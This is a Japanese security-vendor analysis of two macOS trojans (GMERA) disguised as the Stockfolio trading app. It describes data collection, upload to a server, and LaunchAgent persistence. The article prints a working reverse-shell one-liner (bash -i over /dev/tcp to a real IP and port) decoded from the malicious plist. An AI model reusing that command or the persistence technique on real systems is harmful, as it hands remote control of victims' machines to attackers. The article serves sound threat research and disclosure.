macOSを狙うマルウェア:取引アプリに偽装し個人情報を窃取

現在、ほとんどのマルウェアはWindows OS環境を狙ったものです。このため、LinuxやmacOSなど、Windows以外のOSは安全だというイメージを持たれている方も多いかもしれません。しかし実際には、サイバー犯罪者は金銭利益を得られるのであれば攻撃対象を選びません。自身の利益が期待できる攻撃手法をサイバー犯罪者が見出した場合には、Windows以外の環境も危険にさらされることになります。今回トレンドマイクロでは、macOS向け取引ソフト「Stockfolio」を偽装する攻撃を確認しました。

これまで株式や商品市場での取引は、電話で仲介人と連絡し、仲介手数料が発生していました。しかしインターネットの普及と共に取引アプリが登場し、現在では手数料をあまり気にせずに一般ユーザが参加できるようになりました。取引がネットを介して行われるようになったということは、サイバー犯罪者が影響を及ぼせる可能性が生じたことを意味します。サイバー犯罪者は、一般ユーザから個人情報を窃取するため、偽の取引アプリを作成し始めました。トレンドマイクロは、2019年9月、こうした偽の取引アプリの1つを確認し、詳細を解析しました。問題のアプリは、Mac向けの正規アプリ「Stockfolio」に偽装していました。

トレンドマイクロでは、関連するマルウェアの亜種2つを確認しました。1つ目の検体は、シェルスクリプト2つを駆使し、外部の不正サイトに接続して暗号化されたコードをダウンロード後、復号します。もう1つは、単一のシェルスクリプトによるシンプルな機能ですが、不正活動を継続させるための持続的手法が追加されていました。

以下、それぞれの検体について解説します。

■検体1:「Trojan.MacOS.GMERA.A」

1つ目の検体(「Trojan.MacOS.GMERA.A」として検出対応)は、トレンドマイクロの機械学習システムにより、不審なシェルスクリプトとして検出されました。しかし、このシェルスクリプトは、「.pass」、「.app」など、「AppCode」の他のファイルを参照しているため、直ちにその不正活動を特定することは困難でした。

図1:トレンドマイクロの機械学習システムで認識された不審なシェルスクリプト
図1:トレンドマイクロの機械学習システムで認識された不審なシェルスクリプト

シェルスクリプトにより実行されるマルウェアの全体は、圧縮された「zip」ファイル(「Trojan.MacOS.GMERA.A)として検出対応)として確認されました。この検体は、内部にアプリケーションのバンドル「Stockfoli.app」および暗号化された隠しファイル「.app」を含んでいました。そしてユーザの目を欺くために正規アプリに偽装され、複数の不正なコンポーネントを備えていました。

図2:「zip」ファイルの内部
図2:「zip」ファイルの内部

偽装のため、正規名称「Stockfolio」から「o」を抜いて「Stockfoli」と記載されている

■「zip」ファイル内のコンテンツ

最初に確認された不審なコンポーネントは、ディレクトリ「Resources」に存在するアプリケーションバンドルでした。一見すると、正規アプリ「Stockfolio」のバージョン1.4.13のコピーに見えますが、正規アプリのデジタル証明書ではなく、マルウェア作成者が用意したものが付記されていました。

下図のとおり、本来の正規アプリ「Stockfolio」の公式Webサイトにある現バージョン「1.5」のディレクトリ「Resources」と比較すると、多くの相違点が確認できます。

図3:マルウェアの亜種(上)と正規アプリ(バージョン1.5、下)のアプリケーションバンドルのフォルダ構造の比較構造の比較

図3:マルウェアの亜種(上)と正規アプリ(バージョン1.5、下)のアプリケーションバンドルのフォルダ構造の比較

■技術的詳細

この偽アプリが実行されると、正規の取引アプリと同様のユーザインターフェイスが画面上に表示されます。しかし背後では、ユーザに気づかれないまま、このマルウェアが不正活動を実行しています。

図4:マルウェアの実行時に表示されるユーザインターフェイス
図4:マルウェアの実行時に表示されるユーザインターフェイス

そしてディレクトリ「Resources」下でメインの実行可能ファイル「Mach-O」が、自身にバンドルされた以下の2つのシェルスクリプトを起動します。

  • 「plugin」
  • 「stock」

■シェルスクリプト「plugin」と「stock」の機能

シェルスクリプト「plugin」は、感染PCから以下の情報を収集します。

  • ユーザ名
  • IPアドレス
  • ディレクトリ「/Applications」内のアプリ情報
  • ディレクトリ「~/Documents」内のファイル情報
  • ディレクトリ「~/Desktop」内のファイル情報
  • OS(オペレーティングシステム)のインストール日
  • ファイルシステムのディスク使用量
  • グラフィックおよびディスプレイ情報
  • ワイヤレスネットワーク情報
  • スクリーンショット

そして収集した情報をBase64方式で暗号化し、隠しファイル「/tmp/.info」として保存します。さらにユーザ名とMacのシリアル番号を識別子として、この隠しファイルを以下のURLへアップロードします。

  • hxxps://<省略>/panel/upload[.]php

URLからアップロード完了の応答を受けると、応答内容が「~/Library/Containers/.pass」に書き込まれます。

図5: シェルスクリプト「plugin」
図5: シェルスクリプト「plugin」

次にシェルスクリプト「stock」が「Stockfoli.app/Contents/Resources/appcode」を「/private/var/tmp/appcode」にコピーし、「.app」ファイルを特定します。このファイルは、図2で示されたとおり、アプリのバンドル「Stockfoli.app」と一緒に「zip」ファイル内に含まれていた隠しファイルです。

図6:シェルスクリプト「stock」
図6:シェルスクリプト「stock」

そして、Base64方式で暗号化されていた「.app」ファイルを復号して実行し、以下のファイルを作成します。

ファイル 詳細
/tmp/.hostname gmzera54l5qpa6lm.onion
/tmp/.privatkey RSA 秘密鍵

表1:「.app」ファイルを復号・実行すると作成されるファイルの一覧

その上で、「.app」ファイルを削除し、ファイル「~/Library/Containers/.pass」が存在するか確認します。存在する場合、「.pass」ファイルの鍵として「/private/var/tmp/appcode」を復号します。この場合、AES暗号「AES-256-CBC」による復号となります。そして復号されたファイルを「/tmp/appcode」に保存し、最後的に「appcode」を実行します。実行されなかった場合、「/tmp/appcode」および「~/Library/Containers/.pass」を削除します。なお、トレンドマイクロで解析した検体では、「~/Library/Containers/.pass」の存在が確認されなかったため、復号作業は完了しませんでした。

さらにトレンドマイクロでは、このファイル「appcode」は、別の動作を含むマルウェアであると推測しています。ただし本記事執筆時点では、上述のアップロード先「hxxps://<省略>/panel/upload[.]php」はアクセス不可となっていたため、その部分の確認はできませんでした。「VirusTotal」によると、このドメインは2019年1月から2月までアクセス可能であったようです。その他、未使用のアドレス「<省略>[.]onion」が存在することから、このマルウェアの動作全体が、接続経路の匿名化を可能にする「TOR(The Onion Router)」ネットワークを使用している可能性もあります。

なお、偽装された不正アプリと正規アプリ「Stockfolio」のコード署名情報は、それぞれ下図のとおりとなります。

図7:不正アプリ(上)と正規アプリ「Stockfolio」(下)のコード署名情報の比較
図7:不正アプリ(上)と正規アプリ「Stockfolio」(下)のコード署名情報の比較

■検体2:「Trojan.MacOS.GMERA.B」

さらに最初の検体のデジタル証明書を手がかりにして、トレンドマイクロでは、もう1つの検体(「Trojan.MacOS.GMERA.B」として検出対応)も確認を入手しました。

「VirusTotal」によれば、この検体は、2019年6月にアップロードされていました。こちらも、最初の検体と同じマルウェア作成者のデジタル証明書が付記され、偽装された取引アプリ「Stockfolio」のバージョン「1.4.13」を含み、正規アプリに偽装してユーザに実行を促す手口で自身を起動させます。

図8:マルウェア「Trojan.MacOS.GMERA.B」を含む偽アプリのバンドル
図8:マルウェア「Trojan.MacOS.GMERA.B」を含む偽アプリのバンドル

このバンドルが開封されると、マルウェア「Trojan.MacOS.GMERA.B」は、「Stockfolio」バージョン1.4.13のコピーを実行した上で、シェルスクリプト「run.sh」を起動します。

シェルスクリプト「run.sh」は、以下のコマンドを使用してユーザ名とIPアドレスを収集します。

  • ユーザ名 = ‘whoami’
  • IPアドレス = ‘curl -s ipecho.net/plain’

そして自身を以下の不正URLに接続させ、収集したユーザ名とIPアドレスを以下の形式で送信します。

  • hxxp://<省略>[.]info/link.php?<ユーザ名>&<IPアドレス>

その際、このマルウェアは、以下のファイルを作成します。

ファイル 詳細
/private/tmp/.com.apple.upd.plist 「~/Library/LaunchAgents/.com.apple.upd.plist」のコピー
~/Library/LaunchAgents/.com.apple.upd.plist 感染PC内に留まるための持続性の手法の利用される
/tmp/loglog マルウェアの実行ログ

表2:マルウェア「Trojan.MacOS.GMERA.B」が作成するファイル一覧

そして簡単なリバースシェルを作成し、特定のコマンド&コントロール(C&C)サーバへ接続します。接続されると、外部のサイバー犯罪者からシェルコマンド実行による遠隔操作が可能になります。

図9:シェルスクリプト「run.sh」の内容
図9:シェルスクリプト「run.sh」の内容

2つ目の検体での主要な変更箇所は、動作が簡略化されたことの他、感染PCの再起動後も活動を継続するための持続的手法としてプロパティリストファイル「~/Library/LaunchAgents/.com.apple.upd.plist」が作成されていた点が挙げられます。

図10:持続性の手法に利用される隠ぺいされた「plist」ファイル容
図10:持続性の手法に利用される隠ぺいされた「plist」ファイル

この「plist」ファイルをBase64方式のエンコード引数を復号すると、以下のコードが見つかりました。

  • while :; do sleep 10000; screen -X quit; lsof -ti :25733 | xargs kill -9; screen -d -m bash -c ‘bash -i >/dev/tcp/193.37.212.176/25733 0>&1’; done

このコードは、前述のリバースシェルが生成され続けるようにplistファイルへコマンドを送ります。リバースシェルは1万秒ごとに生成されます。

生成されたリバースシェルは、ポートの25733番から25736番までを利用することも確認されました。

■被害に遭わないためには

これらの2つの検体の比較から、マルウェア作成者は、機能の簡略化を進める一方で、新たな機能も追加している傾向がうかがえます。こうした点から、マルウェア作成者は、より効率的な手法を追求しており、将来的には検出回避機能を追加する可能性も考えられます。

アプリを利用するユーザは、アプリの入手場所には細心の注意を払う必要があります。特によく知られていない不審なWebサイトからのダウンロードは控えることです。不正なアプリのダウンロードに伴うリスクを最小限に抑えるためにも、正規のアプリストアなど、公式のサイトからのみアプリのダウンロードに限定することです。

なお、本件に関しては、本記事公開前にApple社に連絡しており、この偽アプリ開発者のコード署名証明書が2019年7月に取り消されたことを確認しています。

■トレンドマイクロの対策

以下のセキュリティ対策製品/ソリューションは、高い性能と安心のサポートで、このようなセキュリティ脅威からMacを保護します。

■侵入の痕跡(Indicators of Compromise、IoCs)

侵入の痕跡(Indicators of Compromise、IoCs)はこちらを参照してください。

参考記事:

翻訳: 下舘 紗耶加(Core Technology Marketing, Trend Micro™ Research)